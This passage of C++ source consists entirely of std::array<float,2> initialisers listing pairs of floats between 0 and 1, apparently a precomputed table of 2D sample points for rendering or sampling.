std::array<float,2>{0.18350704f, 0.792520344f}, std::array<float,2>{0.517488956f, 0.677280605f}, std::array<float,2>{0.491641104f, 0.311424702f}, std::array<float,2>{0.71574831f, 0.434954405f}, std::array<float,2>{0.337364107f, 0.622047126f}, std::array<float,2>{0.873265505f, 0.878376305f}, std::array<float,2>{0.00768245198f, 0.16294618f}, std::array<float,2>{0.604538739f, 0.210171983f}, std::array<float,2>{0.412834495f, 0.987137616f}, std::array<float,2>{0.92325902f, 0.520780563f}, std::array<float,2>{0.189510807f, 0.459746361f}, std::array<float,2>{0.802081823f, 0.353978038f}, std::array<float,2>{0.0733940601f, 0.738628983f}, std::array<float,2>{0.658550262f, 0.822784424f}, std::array<float,2>{0.276520669f, 0.00118290493f}, std::array<float,2>{0.770325899f, 0.106927365f}, std::array<float,2>{0.101300247f, 0.770495892f}, std::array<float,2>{0.63881886f, 0.637490213f}, std::array<float,2>{0.284630597f, 0.254716009f}, std::array<float,2>{0.575317025f, 0.398545593f}, std::array<float,2>{0.385574162f, 0.591844797f}, std::array<float,2>{0.903196275f, 0.910624623f}, std::array<float,2>{0.241635397f, 0.128858864f}, std::array<float,2>{0.731965899f, 0.220576674f}, std::array<float,2>{0.352051169f, 0.955551207f}, std::array<float,2>{0.817238271f, 0.552765846f}, std::array<float,2>{0.0556745268f, 0.498949558f}, std::array<float,2>{0.942661762f, 0.341178983f}, std::array<float,2>{0.125454724f, 0.708301008f}, std::array<float,2>{0.560559273f, 0.848859131f}, std::array<float,2>{0.447943687f, 0.0340543054f}, std::array<float,2>{0.935847342f, 0.186198175f}, std::array<float,2>{0.200740024f, 0.899552107f}, std::array<float,2>{0.60018456f, 0.594917417f}, std::array<float,2>{0.420493275f, 0.420269877f}, std::array<float,2>{0.668516219f, 0.294481307f}, std::array<float,2>{0.268970817f, 0.665797114f}, std::array<float,2>{0.806805015f, 0.805496156f}, std::array<float,2>{0.0646791086f, 0.0795619935f}, std::array<float,2>{0.526206732f, 0.0159117244f}, std::array<float,2>{0.498526394f, 0.843394876f}, std::array<float,2>{0.985096157f, 0.731014729f}, std::array<float,2>{0.175858632f, 0.363895148f}, std::array<float,2>{0.859509468f, 0.447636902f}, std::array<float,2>{0.00975375902f, 0.510593116f}, std::array<float,2>{0.710328579f, 0.971039772f}, std::array<float,2>{0.332977951f, 0.20167391f}, std::array<float,2>{0.831083596f, 0.206550077f}, std::array<float,2>{0.0439508073f, 0.989368141f}, std::array<float,2>{0.737130225f, 0.51647377f}, std::array<float,2>{0.365154356f, 0.455801755f}, std::array<float,2>{0.54098022f, 0.355946779f}, std::array<float,2>{0.462479115f, 0.73596859f}, std::array<float,2>{0.963291526f, 0.824414432f}, std::array<float,2>{0.149419397f, 0.00692178728f}, std::array<float,2>{0.641559482f, 0.073736757f}, std::array<float,2>{0.304192424f, 0.796378613f}, std::array<float,2>{0.754035771f, 0.672513723f}, std::array<float,2>{0.12191736f, 0.305220276f}, std::array<float,2>{0.879311562f, 0.431933314f}, std::array<float,2>{0.232606113f, 0.619980752f}, std::array<float,2>{0.588765621f, 0.8825261f}, std::array<float,2>{0.398523033f, 0.157580718f}, std::array<float,2>{0.974828303f, 0.047895696f}, std::array<float,2>{0.158723414f, 0.860643923f}, std::array<float,2>{0.502415359f, 0.700223982f}, std::array<float,2>{0.475548804f, 0.326215804f}, std::array<float,2>{0.690061927f, 0.477279484f}, std::array<float,2>{0.31529057f, 0.53418684f}, std::array<float,2>{0.85174787f, 0.945920348f}, std::array<float,2>{0.02224168f, 0.235230714f}, std::array<float,2>{0.614297271f, 0.141672209f}, std::array<float,2>{0.429973006f, 0.927399874f}, std::array<float,2>{0.921826541f, 0.57125473f}, std::array<float,2>{0.211082667f, 0.376917869f}, std::array<float,2>{0.785495043f, 0.265967876f}, std::array<float,2>{0.0843320787f, 0.642940044f}, std::array<float,2>{0.681973934f, 0.759183943f}, std::array<float,2>{0.265324146f, 0.111126363f}, std::array<float,2>{0.849088311f, 0.0105127227f}, std::array<float,2>{0.0274728313f, 0.817458093f}, std::array<float,2>{0.70273453f, 0.743498802f}, std::array<float,2>{0.326688975f, 0.348044306f}, std::array<float,2>{0.512071908f, 0.465874493f}, std::array<float,2>{0.480245113f, 0.529481649f}, std::array<float,2>{0.981023133f, 0.99748069f}, std::array<float,2>{0.17152375f, 0.216338873f}, std::array<float,2>{0.676927984f, 0.170851037f}, std::array<float,2>{0.250190884f, 0.887676477f}, std::array<float,2>{0.795946658f, 0.614367843f}, std::array<float,2>{0.092000775f, 0.428916216f}, std::array<float,2>{0.911749303f, 0.297700286f}, std::array<float,2>{0.207528085f, 0.684105754f}, std::array<float,2>{0.624401033f, 0.785065234f}, std::array<float,2>{0.428509057f, 0.0663975403f}, std::array<float,2>{0.955443919f, 0.246362984f}, std::array<float,2>{0.145310521f, 0.939917564f}, std::array<float,2>{0.534833729f, 0.539653122f}, std::array<float,2>{0.457599968f, 0.472889006f}, std::array<float,2>{0.742317855f, 0.315619141f}, std::array<float,2>{0.368257672f, 0.690811694f}, std::array<float,2>{0.839592457f, 0.872721851f}, std::array<float,2>{0.0371808447f, 0.0591118447f}, std::array<float,2>{0.578617692f, 0.122396216f}, std::array<float,2>{0.393981755f, 0.756694496f}, std::array<float,2>{0.886443675f, 0.652671695f}, std::array<float,2>{0.223619744f, 0.27659896f}, std::array<float,2>{0.757835686f, 0.387343079f}, std::array<float,2>{0.109729409f, 0.567650259f}, std::array<float,2>{0.65433991f, 0.93717587f}, std::array<float,2>{0.30672738f, 0.156040743f}, std::array<float,2>{0.798946977f, 0.136112377f}, std::array<float,2>{0.0743118599f, 0.915535569f}, std::array<float,2>{0.663003802f, 0.578342021f}, std::array<float,2>{0.277446985f, 0.39394021f}, std::array<float,2>{0.607055366f, 0.257993549f}, std::array<float,2>{0.408599049f, 0.62722677f}, std::array<float,2>{0.927884459f, 0.779954255f}, std::array<float,2>{0.194490939f, 0.0974145532f}, std::array<float,2>{0.713074982f, 0.0437477455f}, std::array<float,2>{0.341739297f, 0.852972627f}, std::array<float,2>{0.867669284f, 0.71164608f}, std::array<float,2>{0.00340125151f, 0.333506674f}, std::array<float,2>{0.997623086f, 0.491317481f}, std::array<float,2>{0.185022488f, 0.555312037f}, std::array<float,2>{0.521289468f, 0.962397158f}, std::array<float,2>{0.485112816f, 0.228855759f}, std::array<float,2>{0.895665765f, 0.0860553607f}, std::array<float,2>{0.24394156f, 0.803489506f}, std::array<float,2>{0.568012655f, 0.659623623f}, std::array<float,2>{0.3779715f, 0.281556308f}, std::array<float,2>{0.627936184f, 0.41037634f}, std::array<float,2>{0.293602407f, 0.602209628f}, std::array<float,2>{0.773780286f, 0.895340562f}, std::array<float,2>{0.101659626f, 0.177509114f}, std::array<float,2>{0.547611475f, 0.193916798f}, std::array<float,2>{0.443540901f, 0.97718513f}, std::array<float,2>{0.952200651f, 0.505602956f}, std::array<float,2>{0.136644334f, 0.438099205f}, std::array<float,2>{0.826192796f, 0.373811513f}, std::array<float,2>{0.0520054959f, 0.71915859f}, std::array<float,2>{0.726047337f, 0.833249867f}, std::array<float,2>{0.346356839f, 0.0311383698f}, std::array<float,2>{0.813104987f, 0.0698280632f}, std::array<float,2>{0.060696587f, 0.78608942f}, std::array<float,2>{0.729471385f, 0.682331681f}, std::array<float,2>{0.355763167f, 0.302314132f}, std::array<float,2>{0.554817438f, 0.4232288f}, std::array<float,2>{0.453038931f, 0.613185704f}, std::array<float,2>{0.939963996f, 0.88518852f}, std::array<float,2>{0.129923791f, 0.166655496f}, std::array<float,2>{0.633581042f, 0.214126125f}, std::array<float,2>{0.286058992f, 0.995708346f}, std::array<float,2>{0.768679798f, 0.524888456f}, std::array<float,2>{0.0948167443f, 0.460985422f}, std::array<float,2>{0.899794757f, 0.345179111f}, std::array<float,2>{0.236564249f, 0.747903585f}, std::array<float,2>{0.57086885f, 0.81305486f}, std::array<float,2>{0.389058471f, 0.0123390742f}, std::array<float,2>{0.991390646f, 0.151044503f}, std::array<float,2>{0.174608573f, 0.933438897f}, std::array<float,2>{0.529912233f, 0.563642979f}, std::array<float,2>{0.493384659f, 0.383827746f}, std::array<float,2>{0.705428481f, 0.279927552f}, std::array<float,2>{0.330426067f, 0.649513602f}, std::array<float,2>{0.86714679f, 0.752967894f}, std::array<float,2>{0.0120997764f, 0.117855646f}, std::array<float,2>{0.597181976f, 0.0556056276f}, std::array<float,2>{0.415447354f, 0.870401323f}, std::array<float,2>{0.932175338f, 0.694023728f}, std::array<float,2>{0.197306737f, 0.316956103f}, std::array<float,2>{0.808620691f, 0.470177859f}, std::array<float,2>{0.0700693801f, 0.543954074f}, std::array<float,2>{0.666452467f, 0.943754673f}, std::array<float,2>{0.270804375f, 0.242747054f}, std::array<float,2>{0.751380682f, 0.232209101f}, std::array<float,2>{0.120906681f, 0.966685236f}, std::array<float,2>{0.646316051f, 0.562038124f}, std::array<float,2>{0.297041178f, 0.484855145f}, std::array<float,2>{0.590993524f, 0.329759687f}, std::array<float,2>{0.405763924f, 0.718585372f}, std::array<float,2>{0.876256943f, 0.856342494f}, std::array<float,2>{0.23024942f, 0.0400682166f}, std::array<float,2>{0.738348901f, 0.0986308679f}, std::array<float,2>{0.363060892f, 0.774040341f}, std::array<float,2>{0.83333081f, 0.632537663f}, std::array<float,2>{0.0408775844f, 0.26192683f}, std::array<float,2>{0.966455519f, 0.395311743f}, std::array<float,2>{0.155937299f, 0.585623205f}, std::array<float,2>{0.546716988f, 0.92047292f}, std::array<float,2>{0.465090036f, 0.1375871f}, std::array<float,2>{0.916328192f, 0.0260129496f}, std::array<float,2>{0.21663104f, 0.830108047f}, std::array<float,2>{0.609546423f, 0.723657072f}, std::array<float,2>{0.437062919f, 0.368958831f}, std::array<float,2>{0.684598267f, 0.443709552f}, std::array<float,2>{0.261110961f, 0.50306201f}, std::array<float,2>{0.783303857f, 0.984258592f}, std::array<float,2>{0.0793126896f, 0.189713761f}, std::array<float,2>{0.506449521f, 0.175565213f}, std::array<float,2>{0.469188333f, 0.891244471f}, std::array<float,2>{0.96955514f, 0.606749177f}, std::array<float,2>{0.160197243f, 0.40936327f}, std::array<float,2>{0.858971953f, 0.285970569f}, std::array<float,2>{0.0189352967f, 0.660591066f}, std::array<float,2>{0.693597496f, 0.798143864f}, std::array<float,2>{0.317191482f, 0.0925965011f}, std::array<float,2>{0.789695859f, 0.0389918797f}, std::array<float,2>{0.0883981586f, 0.844416916f}, std::array<float,2>{0.67398572f, 0.705604732f}, std::array<float,2>{0.256171793f, 0.338582695f}, std::array<float,2>{0.619289696f, 0.495929122f}, std::array<float,2>{0.422391593f, 0.548925042f}, std::array<float,2>{0.907485187f, 0.957713127f}, std::array<float,2>{0.204729691f, 0.224712163f}, std::array<float,2>{0.697188735f, 0.132529885f}, std::array<float,2>{0.323046446f, 0.909042954f}, std::array<float,2>{0.844462276f, 0.588218093f}, std::array<float,2>{0.0260342974f, 0.403482765f}, std::array<float,2>{0.979024768f, 0.250221163f}, std::array<float,2>{0.1659531f, 0.633109808f}, std::array<float,2>{0.507953286f, 0.766710639f}, std::array<float,2>{0.483705789f, 0.102566652f}, std::array<float,2>{0.889412045f, 0.199084148f}, std::array<float,2>{0.21982801f, 0.972991049f}, std::array<float,2>{0.58444351f, 0.515294731f}, std::array<float,2>{0.397310346f, 0.451377571f}, std::array<float,2>{0.652188957f, 0.3613123f}, std::array<float,2>{0.311488032f, 0.729875267f}, std::array<float,2>{0.763270855f, 0.838382244f}, std::array<float,2>{0.113716148f, 0.023365302f}, std::array<float,2>{0.538090765f, 0.0843581632f}, std::array<float,2>{0.456725091f, 0.809705257f}, std::array<float,2>{0.959947169f, 0.669605911f}, std::array<float,2>{0.142963067f, 0.289094478f}, std::array<float,2>{0.839919865f, 0.41606909f}, std::array<float,2>{0.034641508f, 0.599371076f}, std::array<float,2>{0.749987245f, 0.902635157f}, std::array<float,2>{0.372446209f, 0.180558726f}, std::array<float,2>{0.872698247f, 0.1608143f}, std::array<float,2>{0.00460681552f, 0.875911772f}, std::array<float,2>{0.718677223f, 0.623121977f}, std::array<float,2>{0.337914228f, 0.436808467f}, std::array<float,2>{0.517758965f, 0.309470385f}, std::array<float,2>{0.48886162f, 0.679072618f}, std::array<float,2>{0.995312154f, 0.789958775f}, std::array<float,2>{0.180539653f, 0.0759842545f}, std::array<float,2>{0.656421542f, 0.00282587111f}, std::array<float,2>{0.274410158f, 0.821514249f}, std::array<float,2>{0.804607332f, 0.740454733f}, std::array<float,2>{0.0722577721f, 0.352363706f}, std::array<float,2>{0.925482273f, 0.458211124f}, std::array<float,2>{0.189403102f, 0.521823168f}, std::array<float,2>{0.601845086f, 0.985782266f}, std::array<float,2>{0.412061572f, 0.208035022f}, std::array<float,2>{0.945737422f, 0.113763556f}, std::array<float,2>{0.137957796f, 0.764800906f}, std::array<float,2>{0.554181874f, 0.644850433f}, std::array<float,2>{0.437509775f, 0.269687325f}, std::array<float,2>{0.720618427f, 0.382075131f}, std::array<float,2>{0.348758936f, 0.574845731f}, std::array<float,2>{0.824088931f, 0.92519784f}, std::array<float,2>{0.0486947112f, 0.147114053f}, std::array<float,2>{0.564300239f, 0.241107017f}, std::array<float,2>{0.381074131f, 0.952653706f}, std::array<float,2>{0.891814649f, 0.535447538f}, std::array<float,2>{0.246818513f, 0.480490535f}, std::array<float,2>{0.778700709f, 0.320820779f}, std::array<float,2>{0.106175922f, 0.69587326f}, std::array<float,2>{0.632351995f, 0.866575539f}, std::array<float,2>{0.292268753f, 0.0523378626f}, std::array<float,2>{0.788648605f, 0.109690197f}, std::array<float,2>{0.0838772655f, 0.7579211f}, std::array<float,2>{0.680785775f, 0.643655419f}, std::array<float,2>{0.262207925f, 0.267409354f}, std::array<float,2>{0.616698086f, 0.37596637f}, std::array<float,2>{0.43330723f, 0.572261453f}, std::array<float,2>{0.919130206f, 0.925818801f}, std::array<float,2>{0.212932155f, 0.141450599f}, std::array<float,2>{0.688525319f, 0.235605791f}, std::array<float,2>{0.313238144f, 0.946615696f}, std::array<float,2>{0.854420602f, 0.533648551f}, std::array<float,2>{0.0205700677f, 0.477932334f}, std::array<float,2>{0.973097503f, 0.327237755f}, std::array<float,2>{0.156608894f, 0.700193465f}, std::array<float,2>{0.500410855f, 0.85948807f}, std::array<float,2>{0.473611504f, 0.0477857478f}, std::array<float,2>{0.881074607f, 0.156825468f}, std::array<float,2>{0.230903909f, 0.880964041f}, std::array<float,2>{0.586863041f, 0.620486975f}, std::array<float,2>{0.400827765f, 0.433120281f}, std::array<float,2>{0.643961489f, 0.306639522f}, std::array<float,2>{0.302256942f, 0.673324466f}, std::array<float,2>{0.757454038f, 0.795677722f}, std::array<float,2>{0.123817563f, 0.0729444101f}, std::array<float,2>{0.541783392f, 0.00636232225f}, std::array<float,2>{0.464495867f, 0.825229287f}, std::array<float,2>{0.961038828f, 0.734703064f}, std::array<float,2>{0.151800647f, 0.357081026f}, std::array<float,2>{0.82921958f, 0.456527561f}, std::array<float,2>{0.0453338549f, 0.517139316f}, std::array<float,2>{0.735516906f, 0.989223063f}, std::array<float,2>{0.366932899f, 0.205826774f}, std::array<float,2>{0.861551523f, 0.202943683f}, std::array<float,2>{0.0116760144f, 0.971749604f}, std::array<float,2>{0.70854795f, 0.510884404f}, std::array<float,2>{0.334980756f, 0.448390037f}, std::array<float,2>{0.525181949f, 0.365106314f}, std::array<float,2>{0.497610599f, 0.731516302f}, std::array<float,2>{0.988229215f, 0.842354894f}, std::array<float,2>{0.179599732f, 0.0166162774f}, std::array<float,2>{0.670387268f, 0.0787295103f}, std::array<float,2>{0.267375618f, 0.805727482f}, std::array<float,2>{0.806459367f, 0.664260149f}, std::array<float,2>{0.0625165626f, 0.293588966f}, std::array<float,2>{0.935141385f, 0.421308041f}, std::array<float,2>{0.201955944f, 0.593922794f}, std::array<float,2>{0.598016143f, 0.898874998f}, std::array<float,2>{0.418714255f, 0.186619222f}, std::array<float,2>{0.945011199f, 0.0351308212f}, std::array<float,2>{0.128671378f, 0.84805429f}, std::array<float,2>{0.559073031f, 0.707136333f}, std::array<float,2>{0.445968568f, 0.340763211f}, std::array<float,2>{0.733347416f, 0.499394298f}, std::array<float,2>{0.353685796f, 0.554606974f}, std::array<float,2>{0.819604874f, 0.95619452f}, std::array<float,2>{0.0570275076f, 0.219282791f}, std::array<float,2>{0.576425195f, 0.1278072f}, std::array<float,2>{0.383325189f, 0.911736012f}, std::array<float,2>{0.90467f, 0.59285444f}, std::array<float,2>{0.2385014f, 0.400139153f}, std::array<float,2>{0.772341192f, 0.255056471f}, std::array<float,2>{0.0995363072f, 0.638273716f}, std::array<float,2>{0.638013005f, 0.771054983f}, std::array<float,2>{0.281609654f, 0.106393203f}, std::array<float,2>{0.825625181f, 0.0299107451f}, std::array<float,2>{0.0543712787f, 0.832424581f}, std::array<float,2>{0.724343181f, 0.720458984f}, std::array<float,2>{0.345566541f, 0.374100327f}, std::array<float,2>{0.550188839f, 0.438556999f}, std::array<float,2>{0.441867352f, 0.504825056f}, std::array<float,2>{0.949610829f, 0.977661371f}, std::array<float,2>{0.133953273f, 0.194849491f}, std::array<float,2>{0.625568211f, 0.175894633f}, std::array<float,2>{0.296249419f, 0.896479547f}, std::array<float,2>{0.777197897f, 0.603295505f}, std::array<float,2>{0.103688635f, 0.411479592f}, std::array<float,2>{0.898406506f, 0.282558292f}, std::array<float,2>{0.244814143f, 0.659120083f}, std::array<float,2>{0.569276452f, 0.804292381f}, std::array<float,2>{0.376709729f, 0.0869737342f}, std::array<float,2>{0.998591065f, 0.229497448f}, std::array<float,2>{0.186099648f, 0.961028695f}, std::array<float,2>{0.522702992f, 0.556110799f}, std::array<float,2>{0.487697572f, 0.49074176f}, std::array<float,2>{0.71224612f, 0.332304269f}, std::array<float,2>{0.342982113f, 0.711942375f}, std::array<float,2>{0.870902538f, 0.85157001f}, std::array<float,2>{8.58128842e-05f, 0.0447437875f}, std::array<float,2>{0.609026015f, 0.0962181464f}, std::array<float,2>{0.406654239f, 0.780473292f}, std::array<float,2>{0.926152408f, 0.628840029f}, std::array<float,2>{0.192879438f, 0.258921087f}, std::array<float,2>{0.798406303f, 0.392823488f}, std::array<float,2>{0.0768480226f, 0.579716384f}, std::array<float,2>{0.661052525f, 0.914938271f}, std::array<float,2>{0.280856669f, 0.13528423f}, std::array<float,2>{0.761260271f, 0.154455364f}, std::array<float,2>{0.112906292f, 0.936511934f}, std::array<float,2>{0.654204667f, 0.567149162f}, std::array<float,2>{0.305132776f, 0.38811484f}, std::array<float,2>{0.580793262f, 0.275561184f}, std::array<float,2>{0.390633345f, 0.653673649f}, std::array<float,2>{0.88346684f, 0.757013381f}, std::array<float,2>{0.226127148f, 0.12164218f}, std::array<float,2>{0.744649768f, 0.0600607395f}, std::array<float,2>{0.369890034f, 0.871899009f}, std::array<float,2>{0.836915135f, 0.689624906f}, std::array<float,2>{0.0358666182f, 0.314995438f}, std::array<float,2>{0.954278469f, 0.474128306f}, std::array<float,2>{0.148191512f, 0.541004539f}, std::array<float,2>{0.531902194f, 0.941174328f}, std::array<float,2>{0.460229635f, 0.24738501f}, std::array<float,2>{0.912255943f, 0.0651618466f}, std::array<float,2>{0.210430905f, 0.784019291f}, std::array<float,2>{0.622232556f, 0.684705734f}, std::array<float,2>{0.427217484f, 0.297902942f}, std::array<float,2>{0.678641081f, 0.428356767f}, std::array<float,2>{0.252874047f, 0.613757849f}, std::array<float,2>{0.793898404f, 0.887878239f}, std::array<float,2>{0.0914422348f, 0.171069831f}, std::array<float,2>{0.514474273f, 0.215664953f}, std::array<float,2>{0.477807552f, 0.996927083f}, std::array<float,2>{0.983504176f, 0.530959964f}, std::array<float,2>{0.168914333f, 0.465688497f}, std::array<float,2>{0.850982785f, 0.349182576f}, std::array<float,2>{0.0307855997f, 0.742417216f}, std::array<float,2>{0.699906409f, 0.816624582f}, std::array<float,2>{0.32431227f, 0.0114568286f}, std::array<float,2>{0.856657147f, 0.0932702124f}, std::array<float,2>{0.0158916228f, 0.797623277f}, std::array<float,2>{0.692375004f, 0.661279798f}, std::array<float,2>{0.319736987f, 0.286658555f}, std::array<float,2>{0.505455315f, 0.408602238f}, std::array<float,2>{0.471053779f, 0.605807126f}, std::array<float,2>{0.971716881f, 0.891668081f}, std::array<float,2>{0.163356572f, 0.173839107f}, std::array<float,2>{0.686747491f, 0.191049114f}, std::array<float,2>{0.258260965f, 0.982791245f}, std::array<float,2>{0.78291285f, 0.502320349f}, std::array<float,2>{0.081020847f, 0.445073932f}, std::array<float,2>{0.915808558f, 0.36741215f}, std::array<float,2>{0.218516961f, 0.723194122f}, std::array<float,2>{0.611765027f, 0.831344426f}, std::array<float,2>{0.434880555f, 0.0269877259f}, std::array<float,2>{0.967621207f, 0.138562158f}, std::array<float,2>{0.15410997f, 0.921005547f}, std::array<float,2>{0.544608593f, 0.584308326f}, std::array<float,2>{0.467177719f, 0.396333009f}, std::array<float,2>{0.741670966f, 0.262781143f}, std::array<float,2>{0.359537601f, 0.631658375f}, std::array<float,2>{0.835193932f, 0.775073111f}, std::array<float,2>{0.0423639081f, 0.099005878f}, std::array<float,2>{0.593554139f, 0.0391944535f}, std::array<float,2>{0.403672606f, 0.856844664f}, std::array<float,2>{0.878520548f, 0.717568159f}, std::array<float,2>{0.228301033f, 0.328627855f}, std::array<float,2>{0.752159178f, 0.486183047f}, std::array<float,2>{0.117341548f, 0.561117411f}, std::array<float,2>{0.646870673f, 0.965064943f}, std::array<float,2>{0.300666928f, 0.230505913f}, std::array<float,2>{0.810896277f, 0.243612915f}, std::array<float,2>{0.0668476522f, 0.944607079f}, std::array<float,2>{0.664416313f, 0.543881834f}, std::array<float,2>{0.272498608f, 0.46952346f}, std::array<float,2>{0.594603419f, 0.318195879f}, std::array<float,2>{0.416391641f, 0.69503814f}, std::array<float,2>{0.931538284f, 0.869932413f}, std::array<float,2>{0.196574673f, 0.0561174639f}, std::array<float,2>{0.703281641f, 0.118330114f}, std::array<float,2>{0.32895273f, 0.752344072f}, std::array<float,2>{0.864730179f, 0.649242163f}, std::array<float,2>{0.0138498237f, 0.281186253f}, std::array<float,2>{0.989573658f, 0.383120418f}, std::array<float,2>{0.172593042f, 0.563279927f}, std::array<float,2>{0.527394474f, 0.932550967f}, std::array<float,2>{0.495027959f, 0.151825115f}, std::array<float,2>{0.902231932f, 0.0131552899f}, std::array<float,2>{0.235142022f, 0.813694596f}, std::array<float,2>{0.574092209f, 0.746413171f}, std::array<float,2>{0.387305319f, 0.344242722f}, std::array<float,2>{0.636459112f, 0.462822586f}, std::array<float,2>{0.287813395f, 0.523902178f}, std::array<float,2>{0.767294049f, 0.994472086f}, std::array<float,2>{0.0961712301f, 0.213372827f}, std::array<float,2>{0.557331145f, 0.167247608f}, std::array<float,2>{0.449278325f, 0.886474907f}, std::array<float,2>{0.939338803f, 0.611995697f}, std::array<float,2>{0.13179706f, 0.42240423f}, std::array<float,2>{0.815023363f, 0.301329464f}, std::array<float,2>{0.0592539161f, 0.68293339f}, std::array<float,2>{0.728510261f, 0.78643167f}, std::array<float,2>{0.358461946f, 0.068765007f}, std::array<float,2>{0.780222237f, 0.0514546447f}, std::array<float,2>{0.109088041f, 0.865774691f}, std::array<float,2>{0.629180431f, 0.696673453f}, std::array<float,2>{0.289508432f, 0.321591944f}, std::array<float,2>{0.566240072f, 0.48157981f}, std::array<float,2>{0.380056292f, 0.536141217f}, std::array<float,2>{0.894011259f, 0.951424539f}, std::array<float,2>{0.248596758f, 0.241364002f}, std::array<float,2>{0.720848799f, 0.148429811f}, std::array<float,2>{0.351055712f, 0.923947453f}, std::array<float,2>{0.820883095f, 0.575517595f}, std::array<float,2>{0.0499368384f, 0.38095516f}, std::array<float,2>{0.947806239f, 0.271265596f}, std::array<float,2>{0.139257491f, 0.646243572f}, std::array<float,2>{0.552460909f, 0.76374048f}, std::array<float,2>{0.440734267f, 0.114671908f}, std::array<float,2>{0.92191726f, 0.207713962f}, std::array<float,2>{0.190838769f, 0.985048115f}, std::array<float,2>{0.604241371f, 0.522915125f}, std::array<float,2>{0.413298965f, 0.457740843f}, std::array<float,2>{0.659701705f, 0.353138685f}, std::array<float,2>{0.276268482f, 0.741845548f}, std::array<float,2>{0.800994635f, 0.820337653f}, std::array<float,2>{0.0731384456f, 0.00293590454f}, std::array<float,2>{0.515666366f, 0.0743005276f}, std::array<float,2>{0.490476668f, 0.790848255f}, std::array<float,2>{0.993545592f, 0.678564429f}, std::array<float,2>{0.182199478f, 0.309681684f}, std::array<float,2>{0.874539912f, 0.436445624f}, std::array<float,2>{0.00625531655f, 0.624427259f}, std::array<float,2>{0.716378033f, 0.876156509f}, std::array<float,2>{0.33668825f, 0.161701232f}, std::array<float,2>{0.843191743f, 0.181128815f}, std::array<float,2>{0.0312611945f, 0.903371871f}, std::array<float,2>{0.747495949f, 0.597846329f}, std::array<float,2>{0.373181492f, 0.417579651f}, std::array<float,2>{0.535765469f, 0.29023245f}, std::array<float,2>{0.454513133f, 0.668095648f}, std::array<float,2>{0.958089709f, 0.808612406f}, std::array<float,2>{0.141594827f, 0.0851521641f}, std::array<float,2>{0.648858309f, 0.0221572071f}, std::array<float,2>{0.310337842f, 0.839294314f}, std::array<float,2>{0.765554845f, 0.729106963f}, std::array<float,2>{0.116031922f, 0.359751463f}, std::array<float,2>{0.887061059f, 0.45266825f}, std::array<float,2>{0.22225903f, 0.513853014f}, std::array<float,2>{0.582078516f, 0.974143565f}, std::array<float,2>{0.395475924f, 0.19727391f}, std::array<float,2>{0.9781937f, 0.1021984f}, std::array<float,2>{0.167244717f, 0.765765905f}, std::array<float,2>{0.51025486f, 0.634298086f}, std::array<float,2>{0.48123458f, 0.251361579f}, std::array<float,2>{0.697943747f, 0.402478993f}, std::array<float,2>{0.322141588f, 0.589075744f}, std::array<float,2>{0.846295774f, 0.909621418f}, std::array<float,2>{0.0243137386f, 0.131386191f}, std::array<float,2>{0.617556334f, 0.226431489f}, std::array<float,2>{0.425619632f, 0.95885241f}, std::array<float,2>{0.908998311f, 0.550402999f}, std::array<float,2>{0.206169754f, 0.494303793f}, std::array<float,2>{0.79212898f, 0.339536965f}, std::array<float,2>{0.0876152366f, 0.706443906f}, std::array<float,2>{0.672735989f, 0.845251322f}, std::array<float,2>{0.255451292f, 0.037929859f}, std::array<float,2>{0.755621552f, 0.0717203245f}, std::array<float,2>{0.122690372f, 0.793360889f}, std::array<float,2>{0.641732872f, 0.675302744f}, std::array<float,2>{0.302772731f, 0.308382779f}, std::array<float,2>{0.589054048f, 0.430118412f}, std::array<float,2>{0.400105447f, 0.618372679f}, std::array<float,2>{0.880679488f, 0.879418969f}, std::array<float,2>{0.234365776f, 0.158342749f}, std::array<float,2>{0.738209009f, 0.203889877f}, std::array<float,2>{0.364063472f, 0.990312159f}, std::array<float,2>{0.83014518f, 0.518976808f}, std::array<float,2>{0.0433219858f, 0.455028176f}, std::array<float,2>{0.964616716f, 0.358700156f}, std::array<float,2>{0.148776188f, 0.73767066f}, std::array<float,2>{0.539548218f, 0.826405108f}, std::array<float,2>{0.461118102f, 0.00403047958f}, std::array<float,2>{0.920319438f, 0.14420028f}, std::array<float,2>{0.211965188f, 0.928101003f}, std::array<float,2>{0.613437712f, 0.573924005f}, std::array<float,2>{0.430832744f, 0.37807107f}, std::array<float,2>{0.68296963f, 0.268763423f}, std::array<float,2>{0.264600039f, 0.642308116f}, std::array<float,2>{0.78634882f, 0.759984732f}, std::array<float,2>{0.0854723975f, 0.113245644f}, std::array<float,2>{0.503832579f, 0.0495201945f}, std::array<float,2>{0.47561267f, 0.862538278f}, std::array<float,2>{0.976517677f, 0.703053713f}, std::array<float,2>{0.159486368f, 0.325794607f}, std::array<float,2>{0.853505015f, 0.479436964f}, std::array<float,2>{0.0228880066f, 0.532964468f}, std::array<float,2>{0.691248715f, 0.948421717f}, std::array<float,2>{0.315566272f, 0.237898692f}, std::array<float,2>{0.817533612f, 0.221514106f}, std::array<float,2>{0.0552344397f, 0.954326153f}, std::array<float,2>{0.730962694f, 0.551529348f}, std::array<float,2>{0.353058696f, 0.497294903f}, std::array<float,2>{0.562179029f, 0.343632996f}, std::array<float,2>{0.448889643f, 0.709668398f}, std::array<float,2>{0.942333698f, 0.850701094f}, std::array<float,2>{0.126932189f, 0.0327712186f}, std::array<float,2>{0.639861941f, 0.109160013f}, std::array<float,2>{0.283373713f, 0.771564245f}, std::array<float,2>{0.771012664f, 0.639912486f}, std::array<float,2>{0.0998140574f, 0.256801516f}, std::array<float,2>{0.904133379f, 0.400526375f}, std::array<float,2>{0.240832448f, 0.589984238f}, std::array<float,2>{0.57447809f, 0.912365973f}, std::array<float,2>{0.385945708f, 0.126320764f}, std::array<float,2>{0.985448718f, 0.0178725813f}, std::array<float,2>{0.176935315f, 0.84127605f}, std::array<float,2>{0.526414275f, 0.732477665f}, std::array<float,2>{0.499208927f, 0.365255564f}, std::array<float,2>{0.709384322f, 0.446625739f}, std::array<float,2>{0.333054096f, 0.508475363f}, std::array<float,2>{0.861180663f, 0.96902895f}, std::array<float,2>{0.00822828896f, 0.20035322f}, std::array<float,2>{0.601163983f, 0.184502408f}, std::array<float,2>{0.421224117f, 0.900587142f}, std::array<float,2>{0.937161446f, 0.596096754f}, std::array<float,2>{0.199730694f, 0.419828773f}, std::array<float,2>{0.808455765f, 0.296674192f}, std::array<float,2>{0.0661807954f, 0.666442633f}, std::array<float,2>{0.669339061f, 0.808000326f}, std::array<float,2>{0.26832965f, 0.0803477466f}, std::array<float,2>{0.868520796f, 0.0456109829f}, std::array<float,2>{0.00215232f, 0.854759932f}, std::array<float,2>{0.714297354f, 0.713563919f}, std::array<float,2>{0.340637296f, 0.335065782f}, 